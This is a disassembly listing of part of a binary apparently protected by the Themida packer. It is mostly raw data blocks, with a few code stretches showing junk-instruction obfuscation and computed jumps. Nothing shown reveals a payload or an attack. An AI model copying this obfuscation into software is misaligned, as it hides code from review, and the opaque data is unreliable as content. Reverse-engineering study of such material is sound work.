977CE174h dd 0FB177C07h, 0CBFC18A3h, 6C046911h, 17A2FC17h, 0DC748EEh dd 74D3BE06h, 5D5C38h, 0A7ED0000h, 64A4346Ah, 0E682E548h dd 316DA7FFh, 0E33C7DA6h, 0D045AA3Dh, 0B1EA43CEh, 3FD328F7h dd 50CB95Fh, 5BB66399h, 0BC53B843h, 0B13257E2h, 89A8F0F7h dd 3B463874h, 0D7000000h, 0AE3792BCh, 0B1DA5D7Ah, 0EBB35E0Bh dd 0B4D01060h, 0FFE6D351h, 0D380267Fh, 92D6613Dh, 5EB39751h dd 0A7530A40h, 7CA8336Bh, 0FFE68316h, 151CD647h, 38748EDDh dd 17Bh, 6EA70C00h, 0F6811DF4h, 74D964CDh, 0E274FF9Fh dd 0FA1BFFB9h, 81D66EA4h, 5660C92h, 304CDC84h, 7E09AD2h dd 0D6C84CA1h, 38EE730h, 0EDB15EB3h, 25799A47h, 0BCD142EFh dd 0DD0D46CAh, 821CF5EBh, 0FC65CEF7h, 0E4E04571h, 8ACB07E0h dd 7727ECD0h, 527FA941h, 36279596h, 0EB28D57Bh, 50C328B3h dd 2FA80B27h, 75CE07E1h, 3C527C0Ch, 31AD7F03h, 0ACC85B01h dd 36DDC17Bh, 2A623268h, 0C8406F37h, 17Dh, 0BD4A4E78h dd 55CE018Dh, 0B03B63B0h, 0F32AE187h, 0FA3ACA96h, 0E6837BDEh dd 0AA50A9FFh, 0B8A0F612h, 1F5F07E0h, 0E0B8A003h, 0C76DC607h dd 4095257Eh, 153EC9D5h, 9C77DC6Fh, 0B85CBFDBh, 318A07E0h dd 0BAFA92C8h, 0E0B83B9Eh, 6A106907h, 0BD4856BDh, 19A6436Dh dd 505223E9h, 0E14BD134h, 3DA6FF07h, 326DEFC3h, 0C96F821Bh dd 1CA7F71Ch, 0B5405EB7h, 4FDAC450h, 721AD4FDh, 472BE516h dd 0ED42D2CCh, 0C5EE7925h, 5ABF320h, 87BFF7C7h, 695D406Fh dd 0D000000h, 0B9445AB8h, 0F333EA90h, 1A36C69Ah, 7FE68397h dd 959E43Dh, 0AF325BB4h, 6505F221h, 3C65F059h, 0CFDE8CC2h dd 0C0661512h, 0E60DE94Ch, 0E39DC67Fh, 2C0D424Bh, 0A3BC6F88h dd 5B0E07FFh, 0BA9B7E1h, 73F612A2h, 61FFE5A3h, 1C387808h dd 0FFE762B9h, 0AAE88EE7h, 2A6E812h, 0F080D8E9h, 0C8F17C22h dd 82D2B95Fh, 6B000000h, 0C87992BCh, 72951EBCh, 421E6BCCh dd 0A52C96B2h, 61BA07E0h, 0FCA271D6h, 0A4FA19C6h, 0A185ED19h dd 0DD1E07E0h, 13FF5423h, 0AC7D697Ah, 0A50EFBBAh, 9E4BF11Ah dd 5BF32975h, 0F87FB531h, 63093EB5h, 49D98702h, 0E22A7A2Dh dd 840F680Fh, 1FAAF41Fh, 17F84D8Dh, 90ACFC87h, 0FE0C72Dh dd 0EB91FA53h, 0A1E1B06Ah, 0E0C72285h, 82E5010Fh, 0B00FE0C7h dd 17BD1657h, 0FD8DD3B6h, 0E1B92EE1h, 0A5DB3417h, 0A967BCEEh dd 9BEE4FF5h, 0A0F535C5h, 15892F6Fh, 7E77562h, 278C1770h dd 0E47CB2ECh, 0A01A848Fh, 0BEA5F862h, 0BF6C128Fh, 93BF4A54h dd 2504B60Fh, 5BBA0F5Fh, 0EF2DAC32h, 147D1429h, 39BA6089h dd 0B95BB07Fh, 0D63955E5h, 0FC15050Dh, 0C350FDA3h, 0B80DA5DBh dd 98060959h, 0D67BE40Dh, 0DBA603Eh, 0BD0D9806h, 1ACAD793h dd 13B9D665h, 6AF5A966h, 506C0B05h, 1504CEEDh, 0C651BA13h dd 63EEB061h, 18C12FEh, 4C063FD8h, 0EFA9D2A4h, 6096080Bh dd 0B33E60B3h, 314h, 5CBBAD00h, 0A42F6FA7h, 3FCAD43Fh dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch dd 0E9742AEBh, 85108E84h, 3D086852h, 1C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp+0], ebp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0] pop esp mov [esp+0], ecx push ecx push 54AB3212h pop ecx push esi mov esi, 29116071h xor esi, 64B71B28h and ecx, esi pop esi not ecx neg ecx xor ecx, 4CA2C3DAh mov ebp, ecx pop ecx push esp mov ecx, [esp+0] add esp, 4 sub esp, 4 mov [esp+0], edx mov edx, 8 add edx, ecx mov [edx], ebp pop edx mov ecx, [esp+0] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0] pop esp push dword ptr [esp+0] pop ebp add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- dw 62B2h dd 3AA94146h ; --------------------------------------------------------------------------- loc_5F2B74: ; CODE XREF: sub_5F25A3:loc_5F2607j mov eax, 800F698h add eax, ebp jmp eax sub_5F25A3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch, 8, 4Bh dd 0BFF42918h, 561A0E06h, 10872459h, 696B4E7Dh, 0CA731010h dd 0B98FE643h, 7EEAC174h, 0E1C61A5Fh, 0C7B8FF2Bh, 0D46CBA14h dd 22E8CF37h, 894A0C22h, 0EF7AA775h, 0CE819h, 0A7150000h dd 1D64B21h, 9EC951B0h, 0B70F97DCh, 0A8B759F2h, 658BC181h dd 56BB0000h, 0B85B67CEh, 1A41256Fh, 3C5AF081h, 0D88B1A41h dd 0BF0F118Bh, 0F4EA81FEh, 814EE701h, 0F0F057DEh, 0DCF28152h dd 605CA649h, 9E9h, 18869200h, 4C256463h, 8B66FDDCh, 0C28161D9h dd 7AF7C885h, 0C8DE8166h, 0B6605207h, 0E1816622h, 8F61B359h dd 0E1E98101h, 8155A4EDh, 0C32C45D3h, 0DDC1814Ah, 0B755A4EDh dd 850F4886h, 1Ch, 0E9FAB70Fh, 2Dh, 54C19852h, 66265235h dd 1BC3A259h, 0D5BECC55h, 1DC80C42h, 68C0Fh, 0D7810000h dd 7B771200h, 0FFFF77E9h, 0F15823FFh, 0EEBDF567h, 58D8DC9h dd 6A0800F9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0FC30C356h, 0C46BF375h, 8B66528Bh dd 0B8665BD0h, 8D895E8Dh, 7FA1CD9h, 0AD85C7F9h, 2C07FA31h dd 0F000064h, 0C85h, 6840F00h, 8B000000h, 0FA0D559Dh, 0D9D8B07h dd 0C707FA17h, 0FA2BD985h, 7, 68F0F00h, 8B000000h, 0FA296DB5h dd 99B5FF07h, 6A07FA1Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 66E8C356h, 0FFDE8B66h dd 0FA179995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 9EAD3BE0h, 25BD2258h dd 5860Fh, 81660000h, 6AF20EC2h, 1995FF00h, 8B07FA10h dd 8C3AEBC0h, 536DB199h, 28890B01h, 9EEFDF2h, 10C0843Bh dd 0C40807D8h, 100FB4D6h, 0A6C8AFF1h, 34418B22h, 53B26601h dd 0F978DF7Ch, 0EB3224F2h, 0D47B91CBh, 0EC3A5081h, 0D4807909h dd 0DE874h, 12E50000h, 0D36FAA2Eh, 5214C158h, 0F9D56E0Fh dd 0BF666058h, 8589F315h, 7FA0849h, 0D0C08161h, 0E800006Eh dd 0Fh, 22840D57h, 3C239731h, 24C287A4h, 8B31EC82h, 0FA18959Dh dd 0F6335907h, 56C802BAh, 634FF71h, 1BD5958Bh, 665F07FAh dd 0EF81DE8Bh, 4F1395C4h, 0D7816660h, 8161F19Fh, 0CCD3D6EFh dd 0C3805625h, 0EF815ABBh, 34454FB4h, 7ED958Bh, 0E95707FAh dd 14h, 0F4E2CBC6h, 46289DD2h, 3CB33F6Fh, 10FF90D4h, 4399CC1h dd 0F30048Fh, 28Bh, 816CB700h, 4DA5B3EEh, 8112B343h, 4DA5AFC6h dd 9D295743h, 7FA2805h, 0ECFE815Bh, 0FFFFF91h, 0FFFF8885h dd 0B70F52FFh, 13E95ADBh, 6B000000h, 1008B3h, 3 dup(0) dd 0AAE90000h, 68000004h, 800FB3Bh, 0F984C3E9h, 0FBBB68FFh dd 0B9E90800h, 68FFF984h, 800FD2Eh, 0F984AFE9h, 732BEBFFh dd 1C82903Dh, 0C2DC39E6h, 6E30DF8Ch, 18868B38h, 12F9AEE2h dd 0BC699FFFh, 63104658h, 0EBBF1ADh, 94639905h, 7DBD203Ch dd 7DE307E7h, 0AD67BCC6h, 973D66F1h, 0EC7727EAh, 0DC128C87h dd 0F9160E7Bh, 88F11AA5h, 0A03ADCF8h, 0F6807E0h, 9EF15884h dd 7AFB07E0h, 0AB81B9C0h, 0C1F406Eh, 0CF000003h, 926B4FA5h dd 9B40B9ECh, 0C77E247Ah, 0CEBB657Bh, 0E4E60292h, 0D207E089h dd 0EAD83C79h, 0E00545EFh, 0AF48A6A9h, 0A11F4D8Bh, 0D7EA838h dd 23A85085h, 7EBE56FCh, 1DBF223Eh, 8CE5FA86h, 25B072E6h dd 2C960280h, 6985E058h, 0FD4BD906h, 0A459D32Ch, 48FF89Ch dd 0E9B55FB4h, 0B9A7E243h, 8194E929h, 94B1510Ch, 0A009E9B5h dd 0D246EC15h, 5461E4Dh, 5C42D328h, 0B902A8D1h, 987BD060h dd 0F023D006h, 0FCB3B99Dh, 0AC15EFC1h, 2371EEEh, 65043F63h dd 2D9h, 346A34E2h, 0DD138B87h, 83B9E530h, 2F6539D6h, 0D90F8F82h dd 0A07F0A5h, 63B15E94h, 0B858053Bh, 1003B0E6h, 3189588Eh dd 0E77EB215h, 0C37AE007h, 0B5B996F3h, 5747CD39h, 4529A3CCh dd 0A030993Fh, 0E8322F84h, 0B2CE0E07h, 7E6D24Fh, 2D761C75h dd 22EF44D4h, 59AE467Ch, 903DE3BBh, 66921D81h, 7E6D1FEh dd 0AACD4499h, 0E6332B8Eh, 970059F7h, 0CFCF44F1h, 62E17311h dd 7E1D586Eh, 259h, 0B4EAB462h, 5D930B07h, 33965B0h, 0AFE5B956h dd 598F0F02h, 8A877025h, 0E331DE14h, 38D885BBh, 90833066h dd 0B109D80Eh, 0E77E3295h, 43FA6007h, 3ACA96F3h, 0E77DC91Eh dd 0EF7AD307h, 0E77D5CC3h, 2BE56607h, 7584EC24h, 1A98A40h dd 0A71B0000h, 42A7326Ch, 278AA6D1h, 0E9FFE683h, 0D932732Bh dd 78A23A70h, 1632FBEFh, 63C46A23h, 8EAA3A26h, 7E146F4h dd 0D29B1943h, 5DEF09DEh, 8A156EB7h, 0E0E7F75Eh, 0C6800107h dd 6EF087BFh, 592540h, 0BCB60000h, 4DF3AB67h, 33C39DECh dd 0E09C4917h, 45DC0607h, 23168852h, 0A3FC4F59h, 9AC64629h dd 0EB19A820h, 721802C4h, 405BF29h, 1B44EE48h, 0E13E9CFFh dd 871CA07h, 81E8149Fh, 8B07E13Eh, 52B7C9F3h, 0CD5846CFh dd 0B5C02AA4h, 33ED6E14h, 6EBAF42Ch, 0D49240h, 0A7230000h dd 42A7326Ch, 0DF44CFCFh, 7ADF6A34h, 35750599h, 0E683B619h dd 0F383DCFFh, 0E68374D7h, 0A349A2FFh, 8868F165h, 0F91AFFE6h dd 7B0E6FA5h, 120055E5h, 0E4EE68Ch, 0BC4757B9h, 0A379ED93h dd 0AF07E366h, 9F71C656h, 81C159FFh, 2AB5E92Ch, 63AE5B01h dd 466215FFh, 7E35DE3h, 0C44FB811h, 64FC329Bh, 5EA50824h dd 849207E3h, 0C98BC73Eh, 6099EDFh, 0DC892F98h, 0B8E62D35h dd 0DD9B042Dh, 9E616E39h, 0E640DF1Ah, 0D5000000h, 7A275D41h dd 23D00698h, 0C976ACF2h, 75225846h, 98CC029Ch, 8915FCE3h dd 306EA653h, 0DBC34DFAh, 831BF8A5h, 0A267E4Dh, 7E780A7h dd 0A7B067CDh, 64A4346Ah, 0E682E548h, 22B20BFFh, 0E683A306h dd 0D278D1FFh, 722CE794h, 6CA7853Ch, 0D142A732h, 533697CDh dd 60617D0Dh, 8607E0D2h, 0C9489D2Dh, 0C42B9FD5h, 0A307E0D2h dd 35DBC34Eh, 0DD138B88h, 32BDE130h, 97CFB8E2h, 25FBD112h dd 63987Fh, 0F3310000h, 1E3ACA96h, 7E77DC5h, 0A1F686DFh dd 7F1FF36Fh, 0BC628B16h, 4F4FC429h, 0F7A76C19h, 0CA0B406Ch dd 31811FEFh, 0DA6539DCh, 0D08A0BB1h, 0E77727ECh, 911C8292h dd 0D784C268h, 72D7623Ch, 0E476019Dh, 0DD3201BBh, 0C3264235h dd 0F10FEF39h, 7BA42F98h, 0B3EB28D5h, 5B43D07Dh, 331D0h dd 0BBCA0000h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh dd 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h dd 54575285h, 4C7815Fh, 83000000h, 3C8704EFh, 89505C24h dd 405E0h, 0E8830000h, 24048704h, 241C895Ch, 81E18951h dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 56502434h, 5C6FDEBEh dd 0BCEE8160h, 814A9349h, 37D422C6h, 5EF089F2h, 5458C389h dd 8124348Bh, 4C4h, 30DB6800h, 1C890000h, 8468F24h, 5E2434FFh dd 8B04C483h ; --------------------------------------------------------------------------- sbb al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- cld fcom dword ptr [ebx+42h] sub bl, ah loc_5F3308: ; CODE XREF: Themida_:loc_5F3308j jecxz short loc_5F3308 sbb [ecx], esi mov esp, 0CEB7629Dh mov eax, 800FE39h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 1826h dd 1AF10EA8h, 96535C1h, 98D02749h, 0A8015B39h, 76EA54B5h dd 78CF4D36h, 0FABC5747h, 6E83068Ch, 0D6342652h, 0DE8B2BDEh dd 99633CA8h, 0AB29539Eh, 0DFCB6EA3h, 952F7227h, 33556D9Dh dd 0F0E838BFh, 9F87C52h, 9BBA14EAh, 1532135Bh, 9E1111BCh dd 7EB240DDh, 6B642E03h, 2FCA0BA0h, 3760531Ah, 0DA835DECh dd 9A787F78h, 7CDD62A2h, 0CF7F20C2h, 20761D2Fh, 0B16A15F0h dd 182F3704h, 8D8D56DBh, 800FFF9h, 0D798589h, 0CB8107FAh dd 42B50725h, 1CD98D89h, 9D8907FAh, 7FA1851h, 31AD85C7h dd 5FD007FAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 56F1F9C3h, 9071C88h, 0FA1E1995h dd 0D985C707h, 7FA2Bh, 66000000h, 0A396CA81h, 89C78166h dd 0B1B5FF12h, 8907FA16h, 0FA16D9B5h, 9995FF07h, 6A07FA17h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0B267C355h, 219D8B6Ah, 6A07FA1Fh, 1995FF00h dd 8B07FA10h, 6E7AEBC0h, 3C1BBC87h, 2DD0C1FCh, 0DD8F00A3h dd 52FB89BCh, 0F9312C7Ch, 0B781A549h, 0AFCF73A7h, 0CA892D06h dd 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h, 8B1B090Eh dd 5C339578h, 0FF42A668h, 0B64D66D2h, 7EDC37D7h, 0DEEC218Eh dd 1F952C20h, 0C4810095h, 9FBF4DB9h, 6C2A726Ch, 8E86F04Fh dd 0C802F639h, 4B7C7F23h, 7CD906A3h, 297ED11Dh, 0D1FCAC18h dd 0A7DA7B2Fh, 0AAD7D37Ch, 15E96Eh, 5E50000h, 1F50h, 3 dup(0) dd 0E9000000h, 0B23h, 1023768h, 547AE908h, 3D68FFFAh, 0E9080103h dd 0FFFA5470h, 104D668h, 5466E908h, 0CF68FFFAh, 0E9080105h dd 0FFFA545Ch, 1073668h, 5452E908h, 1668FFFAh, 0E9080109h dd 0FFFA5448h, 10A0B68h, 543EE908h, 0B54AFFFAh, 3AD27900h dd 0A15D048Bh, 1AEC931Ah, 88751CA3h, 310AA31h, 0B43B827Fh dd 40C7FE0Dh, 0CD546399h, 57DED726h, 7734B120h, 0D7EFE317h dd 3E7E279Eh, 8B5C3ADAh, 6D6995D2h, 7734D19Ch, 0C9C7126Bh dd 0A9F43FB9h, 279E6F0Eh, 58E129A0h, 2B7611A0h, 0CB00A9E0h dd 0E0F32DA4h, 3CB92865h, 0EF7D1B36h, 8BC25DA8h, 0EBD90DE2h dd 0A05C525Eh, 0E8337E19h, 0AD1F4D87h, 4986DB14h, 0DD3323DCh dd 0AC03F5EFh, 3F9A7211h, 0DD3305C2h, 0CF1A65EFh, 0AD789B34h dd 3316D350h, 2B76EFDDh, 0C691FCE0h, 0AB25D86Bh, 4AF9D0h dd 0AB920000h, 66C76255h, 0DC8440B4h, 0A6E32E30h, 2C2CD57Ah dd 28258886h, 39812865h, 3851D8EEh, 0ED38AAB6h, 0EB0739B6h dd 2671EF7Ch, 0BFF608EFh, 0C17AAF82h, 4EEFDCFAh, 8AB918E3h dd 51D0AAD9h, 8823926Ah, 0A987003Dh, 63000000h, 8A259C6Dh dd 0D4BB1EEBh, 99568B22h, 0F9E7E216h, 0CBF20FAEh, 0B746E580h dd 35C463FEh, 0B5B8F57Ch, 9FE7E21Bh, 0BF06036Eh, 78ED924h dd 7D18A960h, 5A91CE0Eh, 0AD04F4DBh, 3D010370h, 206BEF7Ch dd 0A5DA2299h, 9F14F16Eh, 7DB4F770h, 0D91F4300h, 0D58A3F7h dd 0AB12EFD6h, 39807D24h, 69080EFBh, 0EC2FFA1Dh, 8B3h dd 0D35A53A4h, 5EE5DC2Ch, 0ED744BB7h, 76FDB046h, 48B32CFh dd 2CD9796Ah, 94670E95h, 19F39A21h, 898027AEh, 0B7AB138h dd 0E318D18Eh, 0C4F831EFh, 0F229906Dh, 2BC6F10Bh, 3DE4A3E0h dd 726EF5CCh, 0E9205D9Dh, 7C1F3A6Ch, 0F06DA4EFh, 0EFDC2F33h dd 62FD4893h, 0DC2F742Dh, 0FDB046EFh, 7B4AC362h, 592447E0h dd 0D6A10CF0h, 48799077h, 0BA2562ADh, 0D0AA2589h, 0D148h dd 0FFAE100h, 6D4D79B6h, 538A259Ch, 169A57D4h, 0AFFAE7E2h dd 36E9B72h, 0D924BF06h, 0BBBEF38Eh, 0A5E7E21Bh, 2FD65D54h dd 0DD4CE7DEh, 0AA29609Dh, 427F46C3h, 7C3CD3D5h, 6C9E3DEFh dd 10870E59h, 1E9F7DC8h, 9A4F94DBh, 68B302FBh, 0B633B231h dd 0EFDCA5F9h, 1CD90E59h, 7CEFDCA6h, 885F431h, 0F770F360h dd 0B9386FBAh, 0D9857F3Ch, 5794DFF7h, 0BD0401E8h, 0CD8A0786h dd 2DF7D984h, 3FE6A5E2h, 0F6BDFBC2h, 0B21D696Eh, 7ADA4E7h dd 55AA0000h, 0DA32D960h, 41BD64EBh, 0BA4CF37Ah, 28D57C03h dd 63700A91h, 149B22DFh, 0A0279E6Dh, 2DB403F9h, 0B73E7786h dd 0D7941180h, 37EFE319h, 906DCAFEh, 2FBA229h, 178D4AC7h dd 9567E7E2h, 73BE0922h, 0EED5F0ECh, 946BA81Dh, 12B14C65h dd 0CC43CAFBh, 9B184F8Ch, 0EF7C2D85h, 0B251EC37h, 3CE36A5Bh dd 5D64A0CDh, 0D21677C2h, 0CA643E55h, 7FB44F9Ah, 771B22A5h dd 20E5B0CBh, 0AA51D8E9h, 92C76253h, 772324D8h, 5E27F24Dh dd 0E88F16AFh, 7A37B411h, 0DA772325h, 640D448Fh, 3C39CFFFh dd 9E71AE94h, 0BAAD5369h, 3C837F66h, 0BB0A02A1h, 0C036D520h dd 0AAC552EDh, 0AED16ADFh, 0DAEB22E3h, 785DAC53h, 23403EFBh dd 0D5EC1877h, 9FD6EF3Ah, 23406522h, 2F7AC577h, 92DA49E4h dd 937D265Dh, 0B4F3CFF5h, 437A8625h, 581A9706h, 0C27EBDE6h dd 0A2594077h, 0F02D7813h, 3D72BA31h, 19638906h, 10F786B8h dd 0E530CBFAh, 1C7431AEh, 89D48718h, 15B0FB4Ch, 181C26E0h dd 7F4AB587h, 65229F1Eh, 0C587181Ch, 61D23D7Ah, 6048663Ch dd 395h, 0BF2CD53Ch, 0FE4C19C1h, 1A3581BEh, 4D84B901h dd 7D1C32D0h, 5889D4EFh, 0E36E7AF3h, 0B835B470h, 70EBEDFBh dd 9A71105Bh, 747EE2Bh, 0E5308576h, 0F0331AEh, 60477886h dd 8EDF1CA5h, 8A71A843h, 61AC477Eh, 0EA3D7D24h, 0B09BD95Dh dd 7CB3FE3Ah, 7AF509FFh, 0F9307B80h, 43CAFB12h, 16546D9Ch dd 8B9EE057h, 14F33601h, 43000006h, 0CB72F9CCh, 56FD8433h dd 0E58C13AAh, 6E159C13h, 9A32A93h, 348D781Ah, 0C0F506ADh dd 4D789239h, 0D7EE1FC6h, 2DAA1950h, 0EFE31B70h, 9D6397D0h dd 8831CC5Dh, 2057A2EDh, 7C2D8DA3h, 0BDF43FEFh, 0C879AC14h dd 0F33019DEh, 39888120h, 5B26419Eh, 164D82CAh, 76528399h dd 17FE35F7h, 0E29FD4EBh, 42F7D652h, 8E75ACF7h, 63AE497Ch dd 49C06726h, 71984178h, 4A17A36Bh, 0BA592C69h, 543B7243h dd 1D411A8h, 98159403h, 0F7D681DBh, 58B3F03Bh, 8031C88Dh dd 5675BEF9h, 6F56D8A4h, 46912C93h, 2839009h, 9D6C0000h dd 6AE9205Dh, 91E255C1h, 0EA2722F5h, 0E3BB437Dh, 1B529DDFh dd 7148B59Ch, 774E8BD6h, 6DAC338Ah, 0A8437A86h, 7BC6FD09h dd 239A673Eh, 0C2F905ECh, 0CC9FDC27h, 7B288397h, 0DE3017DFh dd 5BC48E7h, 0A918F1C8h, 9FA4BC6Bh, 3E814C1Ah, 51Bh, 6BF2CB3Ch dd 0F67D34C4h, 850CB34Fh, 0E9528DEh, 9C239A67h, 94711102h dd 0CFFA62Dh, 718B32B9h, 0E118BF46h, 0A31249D0h, 0E31C6926h dd 5C90C9EFh, 0E9205D9Dh, 5EDE340h, 888162B3h, 42B1EE39h dd 932ADCC3h, 370ADF8h, 0DFE392C9h, 0DAE31E05h, 66014C9Dh dd 98CC862Fh, 0B53B452Ch, 5968A178h, 0E3D22BD2h, 6150A948h dd 712EAB2Ah, 0D1EFE3D1h, 78764986h, 7CFB521Dh, 1D526995h dd 0EFE3D160h, 613875C0h, 579219A8h, 0DF5187ECh, 1A0E5h dd 9C6DC100h, 886FEE25h, 5AA54071h, 0E2176825h, 407DC8E7h dd 863FCE6Dh, 0B4088FFh, 8E1BEDD4h, 33226EC6h, 3408BEBh dd 3C111794h, 3883EF7Ch, 4BAF689Dh, 0D13CEFDCh, 0C98AB06h dd 3139D0AAh, 15000000h, 0E9205D9Dh, 81BE0702h, 1F639512h dd 0C8AFEF7Ch, 9DE88332h, 29C40F60h, 0DC2F3BF4h, 925DC8EFh dd 0AA25F43Fh, 1AF0D7D0h, 0A5F56EABh, 0D1000000h, 38D19C6Dh dd 58A3EE89h, 8A0786BDh, 0E7E216CDh, 0C45F56A7h, 0D8156079h dd 9C690401h, 3DBFC425h, 2B17A139h, 57A645E0h, 0D524C35Eh dd 0A7427388h, 4D8A115Ch, 0E7E2844Ah, 65ECC534h, 3A71AEEEh dd 76D193BDh, 6BA2EDEFh, 9407984h, 7785EC22h, 0F9B8F540h dd 0D00EB752h, 15634C1Dh, 0B499DCA7h, 0A3000003h, 2BD2596Ch dd 0B65DE4D3h, 45EC734Ah, 0CE75FCB3h, 69038A33h, 942DD87Ah dd 2095660Dh, 0AD18F299h, 378E7F26h, 8D0A79B0h, 0EFE31DD0h dd 6DC3F730h, 8F26D590h, 0E716BD44h, 9732837Ah, 7E7A014Ch dd 8A259C6Dh, 1CA312EBh, 0AF06F6DDh, 0E58CC914h, 4A3168A5h dd 216C07BEh, 0FF675E4h, 4CB6F3h, 29BDB9ACh, 0F7ED7DDEh dd 27DEE509h, 4ABB7DEAh, 0EE25EF7Ch, 0DC4CB471h, 7EC914EFh dd 4CF7AEE3h, 0FB6AEFDCh, 690E252h, 0C8FF9D8Fh, 0DC358E4Bh dd 66A3EEEFh, 5EDD400Bh, 370EDBB5h, 0EB2048AEh, 0EFDCC02Eh dd 5F06438Eh, 0BC79F61Fh, 1CEFDCBFh, 0EF3A817Dh, 2EF06DA4h dd 7AF776D5h, 0AB4A7D93h, 7FCA6550h, 1FA6F142h, 18EED523h dd 88BF0AA5h, 0E2174E0Bh, 2663AEE7h, 0D007BE4Fh, 8A312E9h dd 169754D1h, 0ACF7E7E2h, 0B2512461h, 6CE36A5Bh, 0D1B8EF2Ch dd 0E1508D34h, 7C315E64h, 0EA85D0EFh, 0DC40FCB5h, 230A89EFh dd 439EDBEAh, 132A1978h, 8B1D0AAh, 0FB2E16CAh, 3F3E55E0h dd 55E98FF0h, 2969E21Fh, 45000000h, 18DA2CD5h, 2643A036h dd 0C5FA42E9h, 93DF118Eh, 0FE49EF7Ch, 0A4752E63h, 9702EFDCh dd 0B0CE75CCh, 0E903D0AAh, 0DF000000h, 0F64C2CD5h, 355DD5A8h dd 0D9E821F8h, 0B88073Eh, 0E7E2BA4Eh, 4F2663AEh, 0D1700BB2h dd 4FEE8938h, 438007BEh, 0E7E2BF40h, 6352AB92h, 7BE4F26h dd 17D451D0h, 77E7E2BFh, 8930EF2Ch, 37A64170h, 683BAF7h dd 0EF7CD2CCh, 9E155F08h, 0F6C582FFh, 0DA25EFDCh, 61E2BB79h dd 35801BAAh, 764A89EAh, 43392AEh, 0A42B76C7h, 79B0ED2Dh dd 713CBCFCh, 0A4DB26F7h, 0F27940BDh, 57B3BE4Bh, 38D3EA1Ch dd 1957A2EDh, 1D69A632h, 0D4D81BE6h, 83000001h, 0BB2398Ch dd 963DC4F3h, 25CC536Ah, 0AE55DCD3h, 49E36A53h, 744DB85Ah dd 0B546EDh, 8D38D279h, 17AE5F06h, 6DEA5990h, 0EFE31FB0h dd 0D5A3D710h, 58A83A2Ch, 2B7611A0h, 760C98CAh, 32A76239h dd 0E264F8B5h, 4DB958E7h, 4590DB76h, 3DCC73FAh, 0D7BEFD84h dd 29559225h, 0E9205D9Dh, 7C1F3A6Ch, 0BE59A4EFh, 0DC2ED089h dd 27F25DEFh, 0AA2579CAh, 66E362D0h, 0EFDC22A9h, 4E5DBE09h dd 0FFC2AA75h, 0CE960F4Ch, 72000000h, 3AD19C6Dh, 5AA5F08Bh dd 0DCE520BFh, 1C090C41h, 745BE7E2h, 9423D984h, 2663AE49h dd 88F1BE4Fh, 0DE676C4Eh, 5E058CD7h, 0F8DF16AFh, 0CE19B40Dh dd 0F4FBE91h, 0A03B827Eh, 56D30A55h, 0EF7D0A1Ch, 2DA42B76h dd 0FC79B0EDh, 0F7715917h, 5E457CC7h, 64E31AA3h, 0D9EB2AE7h dd 23F8AF7h, 58619C43h, 69D42B1Ah, 0CF12DD1Dh, 0DFh, 0A72E8778h dd 32B90800h, 0C1487F8Bh, 4AD1E41Ah, 0D85F66A3h, 50AD553Eh dd 0C03BE269h, 35C76EF5h, 0A554FB82h, 0DF4E850Ch, 0E320A562h dd 98CC05EFh, 541DEED5h, 2BC611A8h, 31CCA3E0h, 0ECA85188h dd 0D824480Eh, 0F0C07DFAh, 0D520E7E2h, 0A71EEB8Ah, 0ED6CAB6Ah dd 0E2F0B370h, 8BC813E7h, 0E56C45B4h, 259C6DE9h, 0A312EB8Ah dd 3C65A51Ch, 0E21702BFh, 0CC1762E7h, 17821895h, 0E934DFE3h dd 675EAF4Eh, 73778730h, 0F5089B83h, 7510A556h, 0EF2EED2Ah dd 0C61E5C46h, 0E3F68C49h, 40A1ECEFh, 0F594017Ah, 0C813AE05h dd 6C45B48Bh, 0CC9D9CD1h, 76910714h, 0A213EAABh, 4085741Bh dd 34DF06C3h, 0D01B6607h, 4D609635h, 3F2655B2h, 125DF8CFh dd 0E6AF7AD5h, 70179E17h, 4A8D2899h, 3, 6DB6DA26h, 0E988239Ah dd 6706A110h, 0E8872295h, 6807A213h, 0EA89249Dh, 6C0BA61Fh dd 0E988239Ah, 6C0BA61Dh, 0FA8A259Ch, 81E38953h, 4C3h dd 4EB8300h, 31241C33h, 1C33241Ch, 89525C24h, 4C281E2h dd 81000000h, 4EAh, 24148700h, 2434895Ch, 6EEF68h, 243C8900h dd 2590BD55h, 814560AAh, 27F9DCDh, 6BBF575Eh, 81244566h dd 2B64A5CFh, 0FAF7815Bh, 313D6977h, 0C5815FFDh, 0CB549255h dd 545DEE89h, 83243C8Bh, 815604C4h, 4A71242Ch, 478F2E43h dd 8478108h, 2E434A71h ; --------------------------------------------------------------------------- mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_59895C ; --------------------------------------------------------------------------- db 69h, 1Ch, 16h dd 0DDFEBFE6h, 6A1C695h, 0B891DEBFh, 8010B0Fh, 0E0FFC503h dd 78D4E5ACh, 675769D4h, 4704B580h, 471F60D9h, 117AC2E6h dd 4DBFA388h, 781FDD0Ch, 2CF4538Eh, 1C5C4E7h, 6323B739h dd 67B9692Dh, 608D9232h, 3DF6F57Ah, 0BA84A2Dh, 147C9535h dd 3DA209B1h, 2483DD71h, 42DD40ACh, 764C9A27h, 37C1AFE1h dd 3C83C2FEh, 5AD1FC8Fh, 3FC26DEBh, 14704C56h, 7F33E992h 